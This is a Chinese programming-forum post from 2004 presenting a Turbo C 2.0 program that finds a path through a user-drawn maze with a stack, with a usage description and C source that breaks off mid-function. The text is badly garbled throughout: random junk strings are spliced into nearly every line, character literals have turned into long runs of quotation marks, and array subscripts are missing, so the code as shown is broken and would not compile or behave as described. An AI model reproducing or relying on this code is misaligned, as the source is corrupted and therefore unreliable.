QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7586|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>7 N% x3 K1 G5 i! A2 c: X6 [) }
< align=left>程序目的:0 t: K2 G* t. i) [
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
% b- n& {/ B3 n9 }: v显示在屏幕上。& K, j# ~: h# Z* l
程序实现:2 T4 O  F: B% Y0 z# }2 k# D
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的, i. ~6 P; W3 N* L5 z
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
: g3 O; {) |3 z& ]& w入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
% o! P, S6 g# ]( a时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
- f5 t* u! m- [" m否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
8 U' t5 w# B1 M( a) H- J! C6 I# X7 E用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
( ^) ?( i( \( v. K" V将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
2 r3 F! e4 i. t, b/ O找到路径时,屏幕下方会出现Path found,否则出现Path not found。
- P2 g7 L7 X. ^; E2 O7 S% B7 u/ l程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
4 _& P# `& x! |8 C( X9 y9 @不可以在VC上编译。
4 ~% b+ ~7 p7 {  a. m& H- c下载DOS版和windows版的迷宫游戏全部代码8 E2 ^; v7 m! q9 B
用户名:migong
) ^5 Z* E4 m" v. ~) K----------------------------------------------------------------------------------! ]5 P/ s  s1 M7 }$ T
/*
* y/ |6 m8 ^( r; b& UMazePath Demo BY Turbo C 2.0) Z: b8 K. H  i; W
Copyright(c) RoverUnion. All right reserved." s& J) [" y- h7 c* k* e& j
Filename: Maze.c6 l5 [' X* p2 }
Author Dongchengyu.
" {% z9 G6 V3 qVer 1.10
$ @" t9 C. o4 R' l- s2 J*/
+ u  a' ~" f) c7 I) n#include &lt;stdio.h&gt;+ h: a: |$ }/ d" b$ e
#include &lt;stdlib.h&gt;
2 u6 W! T- R& E2 d#include &lt;malloc.h&gt;" u' \4 _% o/ V( T6 H7 d
#include &lt;conio.h&gt;( s- G+ B* c# j
#include &lt;dos.h&gt;) I9 [, Q# ^( C9 ?9 E
#define OK 1
/ O4 M; p# `8 T#define ERROR 0: `5 f6 M) j/ q" _
#define TRUE 12 X8 _/ c5 _( ]# O! ~0 b, _
#define FALSE 0" K  x0 c* b- |' g
#define F9 0x43
' r/ ^- M+ H/ t7 V1 w: W; |#define Esc 0x1b
' |! ~1 U/ z) s#define Del 0x53; N& L  V' t8 l2 m3 _& Y7 T
#define Home 0x470 R) _) Y' @; \  A
#define End 0x4f
. l' d; J4 U: b#define Space 0x20
7 {; u# P& }9 @2 v#define Up 0x48
9 z3 b  e9 k6 _1 v+ M' F+ p# Q#define Down 0x50
; t2 A8 e' {9 j3 z+ a( T% v#define Left 0x4b
6 }$ ~. i0 y: m- a0 l#define Right 0x4d6 z1 s& |& _- B2 f* u3 c
#define Enter 0x0d1 c, _! a& a# h$ y+ Z+ X( ], O
#define F2 0x3c* \# A- n- ~& X# d. o
#define F3 0x3d) y, ]: S2 }' I9 j1 X4 E( G8 Z
#define STACK_INIT_SIZE 2001 ?7 P: K8 u  B5 p6 T8 I: }
#define STACKINCREMENT 10
1 s/ N$ i0 H0 B$ v: w- @* o7 }typedef int Boolean;
! E6 V/ K. [' ^4 ]7 qtypedef int Status;
- Y* n4 B& U) C$ jtypedef struct {1 y8 b; l* |- ]6 p
int x;
' y- r) @$ N& N( P; M( C9 Aint y;
# Y8 S7 J( Y/ H; Y} PosType;
4 f$ x) K( ^6 X0 x4 G3 V+ ltypedef struct {4 H0 z  d, V8 c2 R+ o0 f
int ord;# h9 i- m% z5 S
PosType seat;0 U. V  ^" R0 T# ]- A- n
int di;  z& L7 Y$ q! B0 w- E& b
} SElemType;
1 l' n* h' \* _8 h, J4 mtypedef struct {
6 ]5 z0 U& h! q5 f' |int td;. }6 C- l1 O# H& E* \
int foot;
, N, {; X$ H5 O4 W! }  R( f  {int mark;# Z$ a/ ?8 J5 v! g9 ]
} MazeType;' E2 F# @. }8 Y) U: V
typedef struct {% a+ I/ p; \3 u1 {) D
SElemType *base;3 w8 p% g9 ^! T2 o/ K% C+ H! C; `
SElemType *top;/ G; J! I# R+ Q$ Y7 n! U
int stacksize;. D( N8 A& g" d" n* }! Z
} Stack;
; Q* O# t" H$ @; A$ v" n  `int Maze[20][30];
& q% D6 ]2 y* wMazeType maze[20][30];
. d3 n3 K# q. y" f& _PosType StartPlace;& h1 \" u. N9 n$ S
PosType EndPlace;" F+ f0 _$ A# @) [
int count;
, [5 |; D' o2 S; kint m,n;
3 W: i, P; X4 B7 P$ ?. D# sBoolean b_start=FALSE,b_end=FALSE;
  |, I9 U' B- `1 G( D4 P2 K( jvoid CreatMaze(void);1 @- S, I5 c' t6 Z* }
Status SaveMaze(char *filename);
" f$ J) z- V% r" S3 |3 UStatus LoadMaze(char *filename);! A# V( L3 t" {
void Error(char *message);3 j7 `2 d' @. J. Y6 Z2 w1 [. z
Status InitStack(Stack *s);
% Q! e" }. B2 }- Z: LStatus DestroyStack(Stack *s);
  \& y' Z  f  J+ J/ k9 d& cStatus ClearStack(Stack *s);
; f/ F5 o4 J6 I4 s  |. `Boolean StackEmpty(Stack *s);3 P& o! c! p' g" F
int StackLength(Stack *s);
5 ]) M/ @0 P8 Z8 D7 T, h* IStatus Push(Stack *s,SElemType e);
, h; X' Z' M4 @/ ~5 K/ ~8 XSElemType Pop(Stack *s,SElemType e);
6 a$ |6 D4 ~# @) K: hStatus GetTop(Stack *s,SElemType *e);
: k. Z! q* s- _9 C. Z4 gStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));, L0 _* j; ~, M! w& }# ]' C2 j$ U
Boolean Pass(PosType curpos);; D) ]+ ~( G( G
void MarkPrint(PosType seat);6 G7 w8 \7 A) S* W
void FootPrint(PosType curpos);
* i' t0 K4 j1 v# T) S$ Q  D+ gPosType NextPos(PosType seat,int di);, ~* h+ d4 ^% C' m9 n2 v0 u
Status MazePath(PosType start,PosType end);
$ j* ~6 z. j0 X. E4 x2 [void CreatMaze(void)* L+ k" ~' F4 h! a7 n
/* Form the maze. */- y# c5 U. q, [& w5 e) `: x
{2 k6 V' r$ J3 \; K
void Error(char *message);
/ `" M9 A, z3 K' j% aStatus SaveMaze(char *filename);
+ \9 Y3 e7 \, `6 f" S8 T; fStatus LoadMaze(char *filename);
8 V8 G% O# X; O% p0 \. \int i,j;6 I1 |4 K+ I% t3 a. K
int x,y;
* u4 P1 |$ z% }char c;
9 \4 L8 w' Q! s, Qchar savename[12],loadname[12];
2 ^4 m; S# j- b* x$ a, b" D# oBoolean flag=FALSE,load=FALSE;
' }) C* F( \: J. Wclrscr();
. g6 w% v( ~" d- Yprintf("Menu:\n\n");, V( C' L6 X; x
printf("1.Load Mazefile*.dd)\n\n");
( B# s" t; `% i& p6 p2 x. uprintf("2.Input Maze:\n\n");
2 u6 X6 r' C6 k. qprintf("Input your choice: ");# X. R: d' {( X- N, I7 }& X
do' v/ y% V8 b0 k! n6 L/ r8 f# t
{, q5 o9 i% X/ y6 V9 n
c=getch();0 I! i! h$ N. e, p# E% e" F# o, O
switch(c)
8 a3 g4 W+ `* @& W+ |{6 j( H" a* t$ F" w
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
/ y- d# x% p6 U3 v/ R# q9 h0 @case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
- ?" x$ L# }: R7 Z8 K9 Hcase Esc: sleep(1); exit(1);) t, s, s$ U* h; K- R5 w
default: break;. w& v. S: P( @( |# `+ Z
}. C$ @. S; F. H2 j
}3 N+ R0 |7 c/ `" j1 w8 y
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
& B# L; w% ^# F) }" G! s; yif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
9 k: L7 t4 s" I7 O$ x{
5 U0 c% Z" X: V. }/ O" Pprintf("\n\nLoadName: ");6 q& }. o  J8 ]6 s
scanf("%s",loadname);
3 d- V& w7 H5 M- lif(LoadMaze(loadname))) ]8 e" w5 x; y& x% H$ I' K  R- i$ I+ I, F
{" k: A+ Y* [) r: f6 |" z9 U2 t
sleep(1); load=TRUE;2 h/ |. J  V1 q: F
}
& P% s' h! T* Z0 L' T2 q) ^else { gotoxy(1,9); printf("Load fail! "); }) N( N+ k; m% U  p4 e
}
$ N" A, C% F$ F3 C& @, Rif(!load)# E3 Z/ K( E6 e! e, p% P
{
! o% S3 j7 D# N; g9 {printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");7 s% A- c& Y  i8 F4 c
printf("\nInput Length :\n");
( `! M0 {8 r. _5 h$ i( pscanf("%d",&amp;m);
4 B1 m/ }  Z4 O/ {4 Eprintf("\nInput Width :\n");
) Z. r3 x3 C3 k$ E5 R  Xscanf("%d",&amp;n);
/ N0 H0 x" d! {' X' x) u& Qif(m&lt;4||n&lt;4) Error("Input");2 L4 V! s3 e( j# Z6 M# f# e
if(m&gt;30||n&gt;20) Error("Maze too large");$ b. j/ ^: ]& ]1 T2 e+ L
for(i=0;i&lt;30;i++)
; w' Z0 G# ^! c4 c, k5 @/ o, bfor(j=0;j&lt;20;j++)
) S' T5 _3 i3 |3 W: y2 ]Maze[j]=2;
0 s3 O  T- B6 `6 e: tStartPlace.x=0;- |7 W' ~4 E; F* Z1 ]% z' W# r
StartPlace.y=0;
8 w2 q* l( W; xEndPlace.x=0;- h5 f) f. n1 U6 }' l& u" R
EndPlace.y=0;, c* d/ C5 \) b8 T. B$ v
clrscr();+ m4 O% l& g" C/ A7 q3 K
printf("\n");( }3 u" w) d3 m
for(i=1;i&lt;=n;i++)
$ c& S( b0 G2 ?{
& I: N  e0 `  Vfor(j=1;j&lt;=m;j++)
: [, M$ r9 t+ E0 Q, i3 {{" i" f* d' x2 j6 M0 T! Q. M8 [
printf(" #");/ m7 ]. F, o& e
Maze[i-1][j-1]=0;
, X4 s1 X( N6 I$ P. m}8 {; p: `& I  B' B1 V
printf("\n");2 F  X+ B( H% ]: @5 f6 ^9 |( v* S! Q
}) v- c! x7 y. D! `- O/ p# ]
}
* I; O. f4 ]$ u& ~( b8 K# ugotoxy(65,5);# A# T9 ]! K9 s2 i$ f
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");$ T' [/ J6 o: j% T  `9 q- C: L/ k# R3 U
gotoxy(65,7);  T1 r4 @2 {3 A0 G) Y, x/ s
printf("Start:Home");
8 h) p! ?$ T4 i( o; Kgotoxy(65,9);! @* v6 Q) Y! M+ H
printf("End:End");
9 T2 p+ I5 x. p4 ~$ ~% @7 K- j3 S+ ^gotoxy(65,11);! W9 E' K% }2 e9 Y( r5 W: O6 _
printf("Delete Wallel");! [( f5 b% p: T: ]; _
gotoxy(65,13);
- n/ {$ }6 g+ d1 E& Sprintf("Enter Wall:Enter");5 N# O- z% a# L) m1 l
gotoxy(65,15);
& \4 S7 U+ F: b9 Q3 l* j9 w$ @7 b' f* Uprintf("Save Maze:F2");
% k4 m. m3 Z0 O3 Xgotoxy(65,17);
$ a6 u+ ]: D7 K' l3 a& G' Jprintf("Complete:F9");3 T4 I. p8 u5 h0 |0 M0 V( w
gotoxy(65,19);. u2 ]. V1 l2 G
printf("Exit:Esc");
- j! N( g; r) q7 x5 R% a" x! ngotoxy(4,3);  C' i8 ?; N+ ~$ M8 b% v
x=4;y=3;
# O* p: N/ z7 |( t5 Bdo7 Q' ]4 z4 ~5 N3 Y+ F1 p7 R
{
. @/ X" I  ^9 q1 R2 @1 g# Dc=getch();5 s) F* V0 P- F# T
switch(c)1 W/ T* ^0 V2 x6 W2 J/ ^. i
{
3 q6 f3 f! Y% y& l+ c1 i) ecase Up: if(y&gt;3) { y--; gotoxy(x,y); }: {. x/ B$ |2 T" ]0 ]" T' |
break;2 j: X8 A5 ~7 n, K' m
case Down: if(y&lt;n) { y++; gotoxy(x,y); }' x/ P$ ?. j& o0 P# f
break;
2 c6 O& H5 }3 U* @' {% \7 _2 k7 v8 ~case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }# h7 l2 q( h9 ?  z! N4 l
break;
4 L8 T, Z* U, }* e( B. Mcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }$ _4 [$ Y1 W% ^# _) r! G% p5 Y
break;) O- O$ d0 L  A" X
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;2 r/ H6 M) N. k* }" {4 i( N
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;8 w3 q0 B' P% e; F) u
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
% `6 D6 \4 A$ ?7 E) {2 t" cbreak;
, v* w) M( ~7 a% {: Y4 Xcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;& l+ W/ e+ {: h' C
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
4 R& m/ C  g! a* D2 lputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
) H% A1 |  `- D; ^: fbreak;
% k9 U& U( D$ z1 Wcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
4 Z: P; n7 G: G: K$ D{
1 L1 P: t3 f* A# R8 U* m0 X  c/ UStartPlace.x=x/2-1;
" T1 o) J- [; x/ u  WStartPlace.y=y-2;
' Q3 u0 z: y' p- {1 X& @& Rputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
6 |8 k  u" r: Fgotoxy(x,y);) ], F4 c8 }6 ~% Z
b_start=TRUE;" Z0 f5 H+ T1 D+ G8 ]* o& }
}! j0 S& l6 a1 \( @" ~3 M
break;7 @' s0 x; A. s# `( {- Q  S5 p
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
. W! z1 D- V) ~" ^8 l6 ~# U& O8 K{4 |2 z5 d. ~6 q8 }- I( z3 Q6 m
EndPlace.x=x/2-1;' \+ v( Q/ ^9 s9 t: `* M) {, \
EndPlace.y=y-2;
8 H5 E. A" f; Jputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
) R" k/ T! h' o( d- U, o  Dgotoxy(x,y);  G; n8 j; j: d- g* R* U
b_end=TRUE;
- v8 [* h) a7 e6 |! }- Y}
+ A1 _# d4 j4 H" l8 \break;
- ~. F* f1 k# b* Q( g2 }- ncase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);( G5 V8 v" `$ }
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;6 D2 T/ c; W9 m4 r4 q( ~5 x( N
case F2: gotoxy(2,22);# S! G# H  _2 i' Q3 H
printf("Savename:");' _2 F+ j( M5 B7 B/ a  s8 z
scanf("%s",savename);
9 |: S- |1 i% W4 I' x. Qgotoxy(2,22);
' k) ~0 A3 w# A7 `1 ]if(SaveMaze(savename)) printf("Save OK! ");- Q+ z& T/ i  u# D
else printf("Save fail! ");: \- n5 L% n# _0 O& k) k
sleep(1);/ G' q  \5 }3 b( C; B) W
gotoxy(2,22);4 x$ S6 p( D/ e% ]; a, X
printf(" ");  g: B1 ^3 k' y6 Q' [" T8 p
gotoxy(x,y);0 U+ Y/ U# z1 W
break;& C# q2 m& {# M+ s) _: p% T
default: break;
& ]* M, n/ C8 n}/ l0 }4 C0 L$ ]6 u
}* c4 u! |& T2 x# f
while(!flag);" w0 {3 i# u% N& x5 J
for(i=0;i&lt;30;i++)
9 [% K; t2 N) @" Lfor(j=0;j&lt;20;j++)
& i  q$ [% H: h* O6 G5 c{1 V  Z! A0 J/ b+ G
maze[j].td=Maze[j];
, R  l% \; {9 a- imaze[j].mark=0;
/ `/ {- a6 @/ N4 w+ g( fmaze[j].foot=0;# w6 {/ k! t" S8 d" W
}2 b7 W+ a" e5 T# J+ r$ n" Z
}5 y. J5 |+ @9 w3 q
Status LoadMaze(char *file)! k. j- A0 @7 N. {* e+ e
/* The maze has been loaded. */4 Q1 }4 _# L6 N6 s
{! Y. {0 n* Z% M5 Y  `! Q# `
FILE *fp;
$ R$ ]% ^$ l! _( k2 \/ _char *buffer;1 P1 Y, a8 D5 z; f- q3 u
char ch;% G; `) Q: a- C) h' ?
int i=0,j,k;
1 y9 q- G( R: g6 ]5 b0 z# X% ?4 GBoolean len=FALSE,wid=FALSE;) w; k6 G: a! W$ I, O
if((fp=fopen(file,"r"))==NULL)6 d( w: r. O) J6 n
return ERROR;
; E3 }! U4 V! Y. z: vbuffer=(char *)malloc(600*sizeof(char));2 _4 s5 c0 {( C% [* l+ O
ch=fgetc(fp);
* e+ ~* p3 m9 {1 U2 A  m- v+ @; Lwhile(ch!=EOF)
% U* G! R% S7 V' Y# I5 M3 `, @{" Y. V4 s6 ~/ Q$ R( h
buffer=ch;
$ E/ {% {7 ^  h0 }i++;  G( Y$ h- }7 @3 m* ^. E& t: O1 T* n
ch=fgetc(fp);  c+ f8 ]. ~/ B# d, q; @4 L
}
7 }3 N: E- T& L/ c8 |. Rm=30;n=20;
( J4 M: z; D. w, v0 K& w' l6 n; rfor(i=0;i&lt;600;i++)
& k' R8 ^' z% D* j6 b7 A! X{
: v  K* L- D. }: Ij=i/30; k=i%30;7 @$ R% b: W4 j6 Z& v: s$ q
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
9 Q& Y( j; U5 k3 {  i5 i$ [if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
) G& K- g, X" g. U/ ], uswitch(buffer)
  |6 a2 i/ i$ C0 ]* C{0 p4 q, G8 y' p9 Y4 }# Q
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;# ]6 Y& A9 I3 K0 I% H2 }& T
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;! _' q! [/ \# a6 @, e+ I3 J
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;1 m" l, ?2 H# L. s6 m
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;5 u, f8 M" G: r' Q$ ?# J
StartPlace.x=k;) M' }" L! ~/ o
StartPlace.y=j;
' u8 k& k' K; g1 e) Qb_start=TRUE;  D) S7 ?' ?  a( r# `3 ]  e
break;
+ p  d1 y: e- w+ E3 F; {5 pcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
8 ]+ U2 i$ X$ x7 G$ v7 pEndPlace.x=k;
: V! O0 g, u6 ~: T3 _; t( @EndPlace.y=j;' `* x4 s6 r4 w( L( U8 W) C0 @
b_end=TRUE;
+ H  u5 C" H6 Z5 ~7 h* w: Qbreak;
0 G$ Y5 I2 b) t9 T: q- W! mdefault : break;
0 u7 A  f5 I  L+ k1 O}
; I" C# c  x; I0 l4 v  ~}- m& Q* o0 W& m1 g$ `/ N
fclose(fp);7 L) w8 I# P/ E3 V
clrscr();
6 k5 o9 p6 q, E6 F( bfor(i=0;i&lt;30;i++)2 v6 [# _# l$ j
for(j=0;j&lt;20;j++); t& h6 z$ [% y6 M' l
{
3 Q8 |0 T' F6 ^" V# ?maze[j].td=Maze[j];* O* g0 X; A! b: \& F. E
maze[j].foot=0;
2 ]* V, ]$ X1 }0 t% X; omaze[j].mark=0;( I. g4 i! j9 @) r  s- ?& }1 t
if(Maze[j]==0)
5 H4 }& I8 f  M4 T# j{
! d; ?: S% x5 h7 k1 h8 Y7 ]- Zgotoxy(2*i+2,j+2);
& Z( D. u' c* h9 @+ `putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
7 C8 P1 w: r- I; c# w( E}
& e' \9 u  I6 q& A5 U3 G3 G5 z! c/ l}
; T! h2 W. S6 g' hgotoxy(2*StartPlace.x+2,StartPlace.y+2);
( C  B, l3 W. }putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');6 l, {% F. P  e6 L6 ^
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
8 }! k% Y$ g) i" D* ~putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');! h4 n% Z6 Q' t6 H. S' _
return OK;2 Q8 B0 K0 Y; m! f$ s9 w
}0 H' B! W" M2 R% h
Status SaveMaze(char *filename)  ]# ]0 [- w" }1 X
/* The maze has been saved. */
# l4 X" g0 H. D% d{/ Q0 ~+ _4 t! ^1 i* \
FILE *fp;
( t2 b$ G  P' @) B7 [( o+ o7 P: echar *buffer;
- L% ^0 K- d* @4 x1 ]5 aint i,j,k;
# h1 }! E7 K0 l# J) Mfp=fopen(filename,"wb");6 p  _, t3 D# M* o4 {6 [
buffer=(char *)malloc(600*sizeof(char));
9 l7 F  k1 U- H! c3 bfor(i=0;i&lt;600;i++)8 b' W% \* c7 e5 F+ F
{& f/ p! Y; m! ]0 L0 @( M$ d  w1 g
j=i/30; k=i%30;) u2 ]' X% L) f: j1 O4 {
switch(Maze[j][k])
, \- P' j3 \( N2 T% w, }{
* S  A6 R1 w/ k7 `9 y, n1 Dcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;6 j5 Y: `1 Z4 C0 n! k6 _
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
! @2 t& d- g) ~; n  @  }case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;- c4 |$ z+ `7 H) F, F( d
default : Error("Write"); break;$ u2 g9 v, a3 S5 h) j' _6 j$ k  q
}. T: y, X9 s$ Q8 s- L% e; @2 b
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
! }) |) u+ j8 T7 sif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';4 k) u: y5 H; j: I- z
}
& F2 J0 i2 b4 v# S0 ?4 ffwrite(buffer,600,1,fp);
  \7 E4 ]  T) n+ a5 pfree(buffer);
8 L5 v  C) W/ d: u' Y0 Afclose(fp);
# Z& ^1 t& N5 R3 Q2 [# breturn OK;
5 C, ]1 t* Z9 ~9 p: ^; M* Q}
* e- S* Q$ V; J3 _& ^! n# a+ fvoid Error(char *message)
( w$ h& ?( U0 f6 W{. G, f1 T( u# {: J% f4 \- |
clrscr();# u; n+ ?1 x2 B6 P' x
fprintf(stderr,"Error:%s\n",message);0 ?& I$ j" Z* r
exit(1);5 i# z- W& E! N: m
} /* Error */# v0 |0 v0 K& U1 N
% R. g7 i% l3 c: P7 g) k9 v/ ~
Status InitStack(Stack *s)4 o3 M5 W) U& j$ y0 V- p4 v8 l
/* The stack s has been created and is initialized to be empty. */3 w$ t" f4 `. H
{
4 K: s9 H3 T" R  Us-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
  @  @5 v; ]- z: l8 {( F" Qif(!s-&gt;base) Error("Overflow");
# X7 l) j0 G) r7 \! rs-&gt;top=s-&gt;base;
5 |& ]2 e8 j/ Ks-&gt;stacksize=STACK_INIT_SIZE;
9 T$ Y- x1 N. f9 u  U/ y. oreturn OK;1 p4 o) H4 ]5 m7 Y. s# U# n) |5 w
} /* InitStack */( \! N3 f. F* ^1 z7 S' k; Y7 t
Status DestroyStack(Stack *s)
' @% c9 i; `" |7 K# s/* The stack s has been destroyed. */
0 g, \( ?5 a6 x/ H) T{
( B/ N6 {, V5 c& |. c" x( N. es-&gt;top=NULL;9 j  Q1 }4 h6 Q3 ?0 r
s-&gt;stacksize=0;
& l& U# r2 p& V9 o- sfree(s-&gt;base);
" L9 l0 y6 A( u0 ?, }9 @+ c- x( ps-&gt;base=NULL;2 k7 R9 _! [1 u0 s
return OK;
# z" H9 b& o/ m3 y} /* DestroyStack */1 W' i) N2 B1 Z. e
Status ClearStack(Stack *s)
" N- A0 G% `% f( N! g+ m% x2 |/* The stack has been clear to be maximum. */% c5 M/ h# u" O0 |& m9 ?, Z& i, P% ^! _
{' ]& r" ^2 J# A5 Z- _! y
s-&gt;top=s-&gt;base;  B+ [9 @, A: j* R( ?) a5 N) E
s-&gt;stacksize=STACK_INIT_SIZE;3 I8 l! b# u1 S; q. s
return OK;
0 q0 E% a7 {9 X1 q  I5 ~} /* ClearStack */7 G1 Z& }, B$ ]  t2 @2 O+ O
Boolean StackEmpty(Stack *s)- H/ {8 U: z. |
/* Check if the stack s is empty. */
* z1 q/ v! x$ D, r9 S: \) o2 O' A{
' H+ S6 r! A. C& cif(s-&gt;top==s-&gt;base) return TRUE;
/ W/ p% h+ E, I6 [else return FALSE;
; @7 c$ N* R2 T* f6 D2 {} /* StackEmpty */
3 |/ g* d% r. y1 r$ q, Aint StackLength(Stack *s)
* P4 W1 K+ m* J' N/ l/* Gain the length of the stack s. */
9 [: Y1 q- v  X{
* o  F, \8 P, L4 ?; ~, W- d( Bif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
. e' X5 k$ p# Celse return 0;
& I7 l" V: ?2 e+ ^2 o& S} /* StackLength */
! K' \( Y9 F3 \* L  nStatus Push(Stack *s,SElemType e)5 u: f: ?4 i* A' A- F2 \, S: D
/* The element e has been pushed into the stack s. */
9 S7 W8 h" X5 w7 [1 y$ y{
, n" I; t  b" ?5 eif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)7 ]; E# S% }1 C9 u% ?8 E- w. S
{
/ n9 X- p4 [1 Q: c+ bs-&gt;base=(SElemType *)realloc(s-&gt;base,
9 c+ u4 F9 r! {  z% o/ o4 u(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));9 d/ w+ z& S% d6 A. V4 b
if(!s-&gt;base) Error("Overflow");
& w( r2 }) G( [0 G+ vs-&gt;top=s-&gt;base+s-&gt;stacksize;
3 ], s4 c  b& g& as-&gt;stacksize+=STACKINCREMENT;
" I# p, R3 L/ x. D4 n/ s# h}
) O5 J3 I- V9 b- M*s-&gt;top++=e;! V3 y0 d8 ]- z7 l+ H3 V) y2 O
return OK;
- E4 \& N0 z" |0 [1 o6 s, a} /* Push */
6 w1 }; t( b- V" n! d4 gSElemType Pop(Stack *s,SElemType e)# j  A4 F& W2 g2 k: ]/ L6 V+ U
/* The element e has been removed from the stack s. */
. z" T8 x" f2 n  i9 u{
6 G& ]' t1 L. }* y  }- X: l* @1 k0 Q- ]if(s-&gt;top==s-&gt;base) Error("op");' n! U* U/ _5 |
e=*--s-&gt;top;
! t7 Q- ^2 z9 M0 Q/ {return e;9 s1 \0 r' A+ ~, @4 V1 o
} /* Pop */
9 |2 V1 m8 @8 bStatus GetTop(Stack *s,SElemType *e)) T  A0 r5 K& q4 r7 `
/* The element e has got to the top of the stack s.*/) G  S  ~8 r; \& n& H% Z, q0 w
{
/ t. e; `$ V( a6 V/ t" B. j2 pif(s-&gt;top==s-&gt;base) Error("GetTop");! e* v4 Q( N" J2 X8 D' f
*e=*(s-&gt;top-1);0 n; w4 s, t! U# K( W5 p7 g
return OK;
# v4 z# S0 j7 d! ?) }} /* GetTop */
; _% R! h* J9 p1 E/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */) y8 A6 i( W& u0 z2 F
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
  p) f  W. W; X{
& G& M5 I$ u) \SElemType p;
* C+ e* T0 s. f' A& dint result;! j; O2 _/ T7 |& I
if(s-&gt;top==s-&gt;base) return ERROR;
* Q% k2 X4 ^2 `9 jp=s-&gt;base;
8 }" }! [* w0 h  F" m0 P/ zwhile(!(p==s-&gt;top))3 E+ f* r% W* W8 i  v% B
{! F5 |- r0 G8 z2 e7 s9 s3 o( g* ^
result=(*visit)(p);
0 G. v, r- b5 Z$ h7 B6 ]) e0 `0 l# \p++;# e0 D% L2 H: \5 D2 l2 m
}
/ O) r% c; m& Z' K" Areturn OK;" T( b" g8 a5 A; U2 `( O$ O
} */6 T$ q3 E& u! a' p. S
Boolean Pass(PosType curpos)
: ]4 ]  b8 I# q/* Check if the current position can be passed. */
# G6 j$ l/ Z: b  T& C{: B& U( ^: K9 s: z
if(maze[curpos.x][curpos.y].td==1&amp;&amp;# H: m  P3 L, z% I* h5 s3 _1 y3 ?
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
% C9 Q1 E) }0 A- n5 P$ I" c0 Ireturn TRUE;
3 r8 q/ b' K: `6 Ielse return FALSE;6 P1 G; p& S3 r0 z7 s2 c8 x0 x
} /* Pass */5 ?( _: B: r8 q; T' ?
void MarkPrint(PosType seat)# e7 l0 u& N+ J8 Z3 d( q
